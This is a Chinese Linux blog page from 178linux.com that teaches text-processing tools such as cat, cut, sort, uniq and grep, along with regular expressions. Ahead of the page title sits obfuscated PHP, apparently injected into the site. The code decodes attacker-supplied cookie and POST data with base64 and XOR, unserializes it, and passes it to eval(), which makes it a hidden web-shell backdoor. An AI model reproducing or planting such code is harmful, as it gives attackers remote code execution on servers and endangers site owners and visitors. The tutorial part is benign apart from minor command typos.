$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux 文本处理,文本工具,查看,分析,统计文本文件,grep,正则表达式 | Linux运维部落

Linux 文本处理,文本工具,查看,分析,统计文本文件,grep,正则表达式

文本处理

各种文本工具,查看,分析,统计文本文件

grep

正则表达式

扩展正则表达式

sed

cat -n f1

加行号(空格行都计算)

QQ图片20160805200612.png

cat -b f1

加行号(只计算有字符的行)

QQ图片20160805200722.png

cat -ns f1

加行号(压缩空行)

cat -v f1

能看windows文件的M`符号

QQ图片20160805201201.png

cat -T f1

能够显示里面的tab空位,显示为^I

QQ图片20160805201509.png

cat -A f1

能够显示所有的=-vET

QQ图片20160805201615.png

cat 命令是一个标准输入到标准输出

tac f1

将文本内容倒向显示

QQ图片20160805201718.png

rev f2

echo {1..10} >>f2

01 9 8 7 6 5 4 3 2 1 

将文本反向显示(内容为字符显示)

QQ图片20160805202006.png

QQ图片20160805202021.png

more 

    space空格一页一页翻

    q :退出

    回车翻一行

less 

    d:翻半屏

   / :文本搜索

  n/N:跳到上一个或者下一个匹配 

head 头

head -n 3

     -3 /var/log/messages   头三行显示

QQ图片20160805202530.png

tail 后                     

tail -n 10 /var/log/messages  后10行的显示

QQ图片20160805202647.png

tail -f /var/log/messages 自动显示更新的日志内容(保持显示内容)

QQ图片20160805203255.png

tail -n 0 -f /var/log/message & 

日志有新信息就显示,没新信息都不出现 (在后台运行)

fg 1 

Ctrl +C (要切换回前台在结束)

QQ图片20160805210154.png

tail -c 10 f1

显示后10个字符(包括空格,符号。)

QQ图片20160805203413.png

按列抽取文本cut和合拼文件paste

 cut

     -d :指明分隔符,默认tab

     -f : 

         #:第#个字段

         #,#[,#]:离散的多个字段,例如1,3,6

         #-#:连续的多个字段,例如1-6

        混合使用:1-3,7

     -c : 按字符切割

     –output-delimiter=STRING指定输出分隔符

     cut

cut -d: -f1,3,7 passwd

取出用:分隔的1.3.7列取出成行

QQ图片20160805203720.png

cut -c44-46 f1

取出字符第44到46列,取出显示成行

QQ图片20160805203904.png

ifonfig | head -2 |tail -1 |cut -d: -f2| cut -d" " -f1

QQ图片20160805204247.png

paste 横行合并ca

      -d 分隔符:指定分隔符

      -s:所有行合成一行显示

wc 文本数据统计

   wc + 文件

   wc +  +文件

        -l :行

        -c :多少个字节总数

        -m :计算字符总数

        -w :显示单词总数

QQ图片20160805204337.png

sort  

    整理过文本显示

    -r:执行反向(由上至下)整理

    -n:执行按数字大小整理

    -f:忽略字符串的字符大小写

    -u:删除多余的空行

    -t c :选项使用c做为字段界定符

    -k X :选项按照使用c字符分隔的X列来整理能够使用多次

uniq 

    uniq f1

    相邻的相同的删去,不相邻的不删除

    -c :显示所有行重复的次数

    -d :只显示重复的

    -u :只显示不重复的

sort f2 |uniq -c 

QQ图片20160805204836.png

netstat -nt 

cut -d: -f1,3,7 /etc/passwd |sort -t: -k2 -n

QQ图片20160805205107.png

netstat -nt |tr -s " " ":"|cut -d: -f6 |tail -n +3|sort -n |uniq -c

diff

     -u

diff f1 f2 -u > diff.log 对比f1 与f2 的不同赋予diff.log

rm -f f2

patch -b f1 diff.log   自动备份

patch 

     -b 自动备份改变了的文件

grep :文本过滤工具

    grep,egrep,fgrep(不支持正则表达式搜索)

sed: stream editor,文本编辑工具

awk:Linux 上实现gawk,文本报告生成器

grep 

    :作用文本搜索工具

ls -R 

grep root /etc /passwd /etc/shadow

    -v:不包括指定的 显示出来

    -i: 忽略大小写

    -n:显示对应的行号

    -c:统计匹配的行数目

    -o:仅显示匹配到的字符串

    -q:静默模式,不输出任何信息

       echo $?

               0就成功了,1是不成功。

    -A:after,将指定的关键字后面N行显示出来

    grep -nA3 root /etc/passwd

    -B:before,指定关键字前面N行显示

    -C:前两行,后两行都显示出来

    -e:实现多个选项间的逻辑or关系

    grep -e root -e bash /etc/passwd

    -w:整行匹配整个单词

       指的是整个单词搜索

    -E:使用ERE

    -F:等于使用fgrep 

正则表达式

REGEXP: 由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表达字符字面意义,而表示控制或通配的功能

分两类:

      基本正则表达式:BRE

      扩展正则表达式:ERE

             grep -E,egrep

正则表达式引擎:

    采用不同算法,检查处理正则表达式的软件模块

    PCRE

元字符分类:字符匹配,匹配次数,位置锚定,分组

man 7 regex

     . : 匹配任意单个字符

         

     []: 匹配指定范围内任意单个字符

     grep r[a-z]t /etc/passwd

QQ图片20160805212723.png

     [^]:匹配指定范围外的任意单个字符       

     

匹配次数:用在要指定次数的字符后面,用于指定前面的字符要出现的次数。

      *:匹配前面的字符任意次,包括0次

        贪婪模式,尽可能长的匹配

     .*:任意长度的任意字符

     \?:匹配其前面的字符0或1次

     \+:匹配其前面的字符至少1词

  \{m\}:匹配前面的字符m次

\{m,n\}:匹配前面的字符最少m次,最多n次

 \{,n\}:匹配前面的字符最多n次

 \{m,\}:匹配前面的字符最少m次

位置锚定:定位出现的位置

         ^:行首锚定,用于模式的最左侧

         $:行尾锚地,用于模式的最右侧

         grep -v ''

         ^PATTERN$:用于匹配整行

                   ^$:空行

                   ^[[:space:]]*$:空白行

         \< 或 \b:词首的锚定,用于单词的左侧

         grep '\bro'f1

         \> 或 \b:词尾锚定,用于单词模式的右侧

          \<PATTEN\>:匹配整个单词

分组:\(\):将一个或多个字符捆绑在一起,当作一个整体进行处理

  如: \(root\)\+

     分组括号中的模式匹配到的内容会比正则表达式引擎记录于内部的变量中,这些变量的命名方式为:\1,\2,\3,…

df |grep '/dve/sd'

nmap -sP -v 10.1.252.210/24 |grep -B1|grep -v

grep "\b[1-9][0-9][0-9]\b"

grep \(bash\+\(testbash\+\(basher\+\(nologin)*\)+ 

grep –color '^\<\(.*\)\>.*\b\1\b$' /etc/passwd

grep '^\(.*\).*/\1$' /etc/passwd

QQ图片20160805214201.png

egrep 扩展的正则表达式

egrep = grep -E

       .任意次数

       []指定范围的字符

       [^]不在指定范围的字符

次数的匹配

       *:匹配前面字符任意次数

       ?:0或1次

       +:1次或多次

      {m}:匹配m次

    {m,n}:至少m,至多n次

位置锚定:

      ^:行首

      $:行尾

      \<,\b:首

      \>,\b:尾

分组:

     ()

     后向引用:\1,\2

或者:

     a|b

     C|cat: C或cat

     (C|c)at:Cat或cat

egrep '^(zczx|root)\b' /etc/passwd |cut -d: -f3,7

QQ图片20160805214406.png

echo "/etc/isse" | egrep -o "[^/]+/?$"

                 | egrep -o "(/.*)"

QQ图片20160805214710.png

原创文章,作者:swzczx,如若转载,请注明出处:http://www.178linux.com/29772

(0)
上一篇 2016-08-07 22:07
下一篇 2016-08-07 22:07

相关推荐

  • 马哥教育网络班22期+第八周课程练习

    1、请描述网桥、集线器、二层交换机、三层交换机、路由器的功能、使用场景与区别。    网桥:工作在OSI模型的数据链路层,将两个局域网连起来,根据MAC地址来转发帧,可以看作是一个“低层的路由器”(路由器工作在OSI模型的网络层,根据网络地址如IP地址进行转发)。它可以有效地联接两个LAN,使本地通信限制在本网段内,并…

    Linux干货 2016-11-17
  • 网卡别名及多网卡配置

    网卡别名 对于要在不同网段环境中使用的设备有很大的帮助。     要使用网卡别名首先要关闭NetworkManager这个服务,防止在后续操作中引起不必要的冲突。 [root@laodeng6 ~]# chkconfig NetworkManager off [root@laod…

    Linux干货 2016-09-06
  • 磁盘管理

    1、拿到一块硬盘,通常来讲,第一步是分区,然后是文件系统的创建,管理文件系统,第三步是挂载设备。 2、linux(准确的说是UNIX)哲学,whindows一切皆窗口,一切皆图形。 3、磁盘是一个硬件设备,存放在/dev/目录下,会有相应的文件来对应的表示这些设备文件,在这个目录下存放的全是设备。 4、在/dev目录下和设备相关的有两种,一种是c开头为字符,…

    Linux干货 2017-04-22
  • N25-第九周作业

    第九周 1、写一个脚本,判断当前系统上所有用户的shell是否为可登录shell(即用户的shell不是/sbin/nologin);分别这两类用户的个数;通过字符串比较来实现; #!/bin/bash # sum_login=0 sum_nologin=0 for i in $(awk -F: ‘{print $7}’ /etc/passwd);do if…

    Linux干货 2017-03-10
  • 软件包管理

    rpm 与 yum 的用法 源代码:name-VERSION.tar.gz|bz2|xz VERSION: major.minor.release rpm包命名方式: name-VERSION-release.arch.rpm 例:bash-4.2.46-19.el7.x86_64.rpm VERSION: major.minor.release rele…

    Linux干货 2016-09-01
  • Linux软件包管理器—rpm

    rpm 最开始是Red Hat Package Manager 之意,原用在Red Hat Linux一款软件包管理器,先在已被许多其他Linux 发行商使用,成为主流包管理器,rpm包的文件格式也写进Linux标准库中,所以rpm 现在递归意为RPM Package Manager。rpm的诞生使得在Linux上管理软件包变得方便许多,rpm功能强大,可完成构建、安装、查询、校验、升级和卸载软件包。

    Linux干货 2016-08-26